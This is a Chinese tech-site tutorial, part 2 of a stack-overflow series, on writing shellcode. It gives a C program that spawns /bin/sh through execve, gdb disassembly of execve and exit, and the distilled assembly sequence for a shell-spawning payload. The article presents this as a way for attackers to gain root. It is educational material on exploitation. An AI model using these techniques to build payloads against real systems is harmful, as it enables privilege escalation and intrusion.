科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道系统安全---堆栈溢出技术从入门到高深(2)

系统安全---堆栈溢出技术从入门到高深(2)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

虽然溢出在程序开发过程中不可完全避免,但溢出对系统的威胁是巨大的,由于系统的特殊性,溢出发生时攻击者可以利用其漏洞来获取系统的高级权限root,因此本文将详细介绍堆栈溢出技术……

作者:论坛整理 来源:zdnet网络安全 2007年12月21日

关键字: 安全技术 堆栈溢出 系统安全

  • 评论
  • 分享微博
  • 分享邮件
如何书写一个shell code

  一:shellcode基本算法分析

  在程序中,执行一个shell的程序是这样写的:

      shellcode.c
  ------------------------------------------------------------------------
  #include 
  void main() {
  char *name[2];
  name[0] = "/bin/sh"
  name[1] = NULL;
  execve(name[0], name, NULL);
  }
  ------------------------------------------------------------------------

    execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的argv[i](argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个参数。

  我们来看以看execve的汇编代码:

      [nkl10]$Content$nbsp;gcc -o shellcode -static shellcode.c
  [nkl10]$Content$nbsp;gdb shellcode
  (gdb) disassemble __execve
  Dump of assembler code for function __execve:
  0x80002bc <__execve>: pushl %ebp ;
  0x80002bd <__execve+1>: movl %esp,%ebp
  ;上面是函数头。
  0x80002bf <__execve+3>: pushl %ebx
  ;保存ebx
  0x80002c0 <__execve+4>: movl $0xb,%eax
  ;eax=0xb,eax指明第几号系统调用。
  0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
  ;ebp+8是第一个参数"/bin/sh\0"
  0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
  ;ebp+12是第二个参数name数组的地址
  0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
  ;ebp+16是第三个参数空指针的地址。
  ;name[2-1]内容为NULL,用来存放返回值。
  0x80002ce <__execve+18>: int $0x80
  ;执行0xb号系统调用(execve)
  0x80002d0 <__execve+20>: movl %eax,%edx
  ;下面是返回值的处理就没有用了。
  0x80002d2 <__execve+22>: testl %edx,%edx
  0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
  0x80002d6 <__execve+26>: negl %edx
  0x80002d8 <__execve+28>: pushl %edx
  0x80002d9 <__execve+29>: call 0x8001a34
  <__normal_errno_location>
  0x80002de <__execve+34>: popl %edx
  0x80002df <__execve+35>: movl %edx,(%eax)
  0x80002e1 <__execve+37>: movl $0xffffffff,%eax
  0x80002e6 <__execve+42>: popl %ebx
  0x80002e7 <__execve+43>: movl %ebp,%esp
  0x80002e9 <__execve+45>: popl %ebp
  0x80002ea <__execve+46>: ret
  0x80002eb <__execve+47>: nop
  End of assembler dump.

  经过以上的分析,可以得到如下的精简指令算法:

      movl $execve的系统调用号,%eax
  movl "bin/sh\0"的地址,%ebx
  movl name数组的地址,%ecx
  movl name[n-1]的地址,%edx
  int $0x80 ;执行系统调用(execve)

  当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。可是,如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后续的指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用,结束shellcode.c的执行。

  我们来看以看exit(0)的汇编代码:

      (gdb) disassemble _exit
  Dump of assembler code for function _exit:
  0x800034c <_exit>: pushl %ebp
  0x800034d <_exit+1>: movl %esp,%ebp
  0x800034f <_exit+3>: pushl %ebx
  0x8000350 <_exit+4>: movl $0x1,%eax ;1号系统调用
  0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx ;ebx为参数0
  0x8000358 <_exit+12>: int $0x80 ;引发系统调用
  0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
  0x800035d <_exit+17>: movl %ebp,%esp
  0x800035f <_exit+19>: popl %ebp
  0x8000360 <_exit+20>: ret
  0x8000361 <_exit+21>: nop
  0x8000362 <_exit+22>: nop
  0x8000363 <_exit+23>: nop
  End of assembler dump.

  看来exit(0)〕的汇编代码更加简单:

      movl $0x1,%eax ;1号系统调用
  movl 0,%ebx ;ebx为exit的参数0
  int $0x80 ;引发系统调用

  那么总结一下,合成的汇编代码为:

      movl $execve的系统调用号,%eax
  movl "bin/sh\0"的地址,%ebx
  movl name数组的地址,%ecx
  movl name[n-1]的地址,%edx
  int $0x80 ;执行系统调用(execve)
  movl $0x1,%eax ;1号系统调用
  movl 0,%ebx ;ebx为exit的参数0
  int $0x80 ;执行系统调用(exit)

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章